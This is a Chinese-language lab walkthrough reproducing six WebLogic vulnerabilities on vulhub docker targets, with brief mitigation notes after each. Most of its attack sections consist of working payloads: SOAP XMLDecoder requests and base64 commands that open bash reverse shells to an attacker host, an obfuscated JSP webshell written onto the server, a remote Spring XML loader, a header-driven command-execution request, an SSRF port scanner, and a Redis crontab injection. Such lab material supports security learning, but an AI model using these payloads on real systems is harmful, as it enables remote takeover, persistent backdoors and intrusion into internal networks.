vulhub-weblogic漏洞复现
原文链接:silentx.gitee.io
一.Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
1.概述
漏洞成因:
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
2.环境搭建
2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/weblogic/CVE-2017-10271 //进入CVE-2017-10271目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
2.2.访问http://192.168.43.92:7001/
3.复现
3.1.测试漏洞是否存在
访问http://192.168.43.92:7001/wls-wsat/CoordinatorPortType
3.2.漏洞利用
3.2.1.nc反弹shell
发包
改包
/bin/bash -c bash -i >& /dev/tcp/192.168.43.17/6666 0>&1 #通过nc反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.43.92:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.43.17/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
成功反弹shell
3.2.2.写入webshell
发包写入jsp马
<% String H1ADB = request.getParameter("123456");if (H1ADB != null) { class E4e01648 extends/*ZX2Qs96i26*/ClassLoader { E4e01648(ClassLoader LJegmP) { super(LJegmP); } public Class H1ADB(byte[] b) { return super.defineClass(b, 0, b.length);}}int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010; ccstr = ccstr + (char) aa[i];}Class AZ9O6 = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});byte[] bytes = (byte[]) AZ9O6.getMethod(k, String.class).invoke(AZ9O6.newInstance(), H1ADB);Class aClass = new E4e01648(Thread.currentThread().getContextClassLoader()).H1ADB(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %>
#jsp小马
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1473
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println"><string>
<![CDATA[
<% String H1ADB = request.getParameter("123456");if (H1ADB != null) { class E4e01648 extends/*ZX2Qs96i26*/ClassLoader { E4e01648(ClassLoader LJegmP) { super(LJegmP); } public Class H1ADB(byte[] b) { return super.defineClass(b, 0, b.length);}}int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010; ccstr = ccstr + (char) aa[i];}Class AZ9O6 = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});byte[] bytes = (byte[]) AZ9O6.getMethod(k, String.class).invoke(AZ9O6.newInstance(), H1ADB);Class aClass = new E4e01648(Thread.currentThread().getContextClassLoader()).H1ADB(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
连接webshell
http://192.168.43.92:7001/bea_wls_internal/shell.jsp
4.防护
1.临时解决:根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。2.官方补丁修复:前往Oracle官网下载10月份所提供的安全补丁
二.Weblogic WLS Core Components 反序列化命令执行漏洞
1.概述
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
2.环境搭建
2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/weblogic/CVE-2018-2628 //进入CVE-2018-2628目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
2.2.访问http://192.168.43.92:7001/console初始化环境
3.复现
3.1.使用ysoserial工具反弹shell
使用Java反序列化漏洞利用工具启动一个JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
java -cp /
ysoserial.exploit.JRMPListener 5555 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjIzOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
bash -i >& /dev/tcp/192.168.43.239/6666 0>&1
base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjIzOS82NjY2IDA+JjE=
使用python脚本向目标发送数据包
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
python2 /shell.py 192.168.43.92 7001 /ysoserial-all.jar 192.168.43.239 5555 JRMPClient
攻击机开启监听
nc -lvtp 6666
反弹shell成功
3.2.使用Java反序列化漏洞集成利用工具反弹shell
4.防护
临时防护:
1、通过访问策略控制禁止 /_async/跟/wls-wsat/ 路径的URL访问。
2、删除wls9_async_response.war与wls-wsat.war 文件及相关文件夹,并重启 Weblogic 服务。
永久修复:更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。
三.Weblogic 任意文件上传漏洞
1.概述
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
2.环境搭建
2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/weblogic/CVE-2018-2894 //进入CVE-2018-2628目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
2.2.通过http://192.168.43.92:7001/console访问后台
docker-compose logs | grep password #查看账户密码
查看账户密码为:
weblogic:1A60xMN8
使用weblogic登录后台
3.复现
3.1.base_domain -> 高级 -> 启动web服务测试页 -> 保存
3.2.访问http://192.168.43.92:7001/ws_utc/config.do
修改工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
3.3.访问http://192.168.43.92:7001/ws_utc/config.do
安全 -> 添加 -> 上传webshell
上传成功之后,按F12查看时间戳
使用蚁剑连接
http://192.168.43.92:7001/ws_utc/css/config/keystore/1662087290323_shell.jsp
4.防护
1.设置Config.do、begin.do页面登录授权后访问;
2.IPS等防御产品可以加入相应的特征;
3.升级到官方最新版本。
四.Weblogic 管理控制台未授权远程命令执行漏洞
1.概述
CVE-2020-14882代码执行漏洞:远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。
CVE-2020-14883权限绕过漏洞:远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console。
2.环境搭建
2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/weblogic/CVE-2020-14882 //进入CVE-2018-2628目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
2.2.访问http://192.168.43.92:7001/console
3.复现
3.1.验证漏洞是否存在
访问http://192.168.43.92:7001/console/css/%252e%252e%252fconsole.portal,即可未授权访问后台。
这里 …/ 的url编码是%2E%2E%2F,再次编码是%252e%252e%252f
此时需要利用到第二个漏洞CVE-2020-14883。
这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
3.2.通过com.tangosol.coherence.mvel2.sh.ShellSession利用漏洞
http://192.168.43.92:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/5.txt');")
通过docker shell查看创建的文件
docker-compose exec weblogic bash
因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,所以这个利用方法只能在Weblogic 12.2.1以上版本利用。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种通杀的方法,对于所有Weblogic版本均有效。
3.3.通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext利用漏洞
在本地启一个http服务
python -m SimpleHTTPServer 8080
在网站根目录创建shell.xml反弹shell
bash -i >& /dev/tcp/192.168.43.239/6666 0>&1
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjIzOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}]]></value>
</list>
</constructor-arg>
</bean>
</beans>
nc监听
nc -lvvp 6666
访问url使Weblogic的服务器加载shell.xml(这个利用方法需要Weblogic的服务器能访问到恶意XML)
http://192.168.43.92:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.43.239:8080/shell.xml")
反弹shell成功
3.4.通过手工提交数据包利用漏洞
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: 192.168.43.92:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
cmd:pwd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=-ZIBvFjq2a3bvIYABfsuPCtuLzons0rhryknEJZKpnU7T5tEqGPH!-1339751114
Connection: close
反弹shell
cmd:bash -i >& /dev/tcp/192.168.43.17/6666 0>&1
4.防护
1、安装Oracle官方补丁;
2、限制后台 /console/console.portal 的访问。
五.Weblogic 文件读取漏洞
1.概述
2019年4月17日,Oracle官方发布4月份安全补丁, 补丁中包含一个WebLogic任意文件读取漏洞,漏洞编号为CVE-2019-2615。利用该漏洞,攻击者可以在已知用户名密码的情况下读取WebLogic服务器中的任意文件。
2.环境搭建
2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/weblogic/weak_password //进入weak_password目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
访问192.168.43.92:7001/console
3.复现
3.1.测试漏洞是否存在
访问192.168.43.92:7001/hello/file.jsp?path=/etc/passwd
3.2.破解密码
所以burp发包访问
http://192.168.43.92:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
将乱码部分右键,copy to file出来,保存为SerializedSystemIni.dat
访问http://192.168.43.92:7001/hello/file.jsp?path=./config/config.xml
搜索,找到加密后的管理员密码
在/vulhub-master/weblogic/weak_password/decrypt目录下找到weblogic_decrypt.jar,使用工具解密,
这里我没有解出来,不知道是什么原因。
假装是弱口令
user:weblogic password:Oracle@123
使用哥斯拉生成jsp马,然后通过jar打包
jar -cvf shell.war shell.jsp
进入后台后部署 -> 安装 -> 上载文件 -> 上传shell.war ->下一步 ->下一步 ->下一步 ->下一步 ->下一步 -> 完成
使用哥斯拉连接http://192.168.43.92:7001/shell/shell.jsp
4.防护
升级补丁。Oracle官方更新链接地址:https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html。
六.Weblogic SSRF漏洞
1.概述
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
2.环境搭建
2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/weblogic/weak_password //进入weak_password目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
访问http://192.168.43.92:7001/uddiexplorer
3.复现
3.1.探测内网端口状态
burp发包
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearGET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:port HTTP/1.1
7001端口开放
9999端口关闭
3.2.利用Redis反弹shell
通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),在docker中使用docker inspect [id]查看redis的ip是172.21.0.2。
如果知道c段,也可以通过python脚本扫c段
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.43.92:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "172.21.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.43.17/5555 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
将redis命令进行url编码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.17%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
发包
反弹shell成功
4.防护
1.过滤返回信息,验证远程服务器对请求的响应。
2.统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3.限制请求的端口为http常用的端口,比如80,443,8080,8090
4.黑名单内网ip,避免应用被用来获取内网数据,攻击内网
5.禁用不需要的协议,仅仅允许http和https请求,可以防止类似于file:///,gopher://,ftp:// 等引起的问题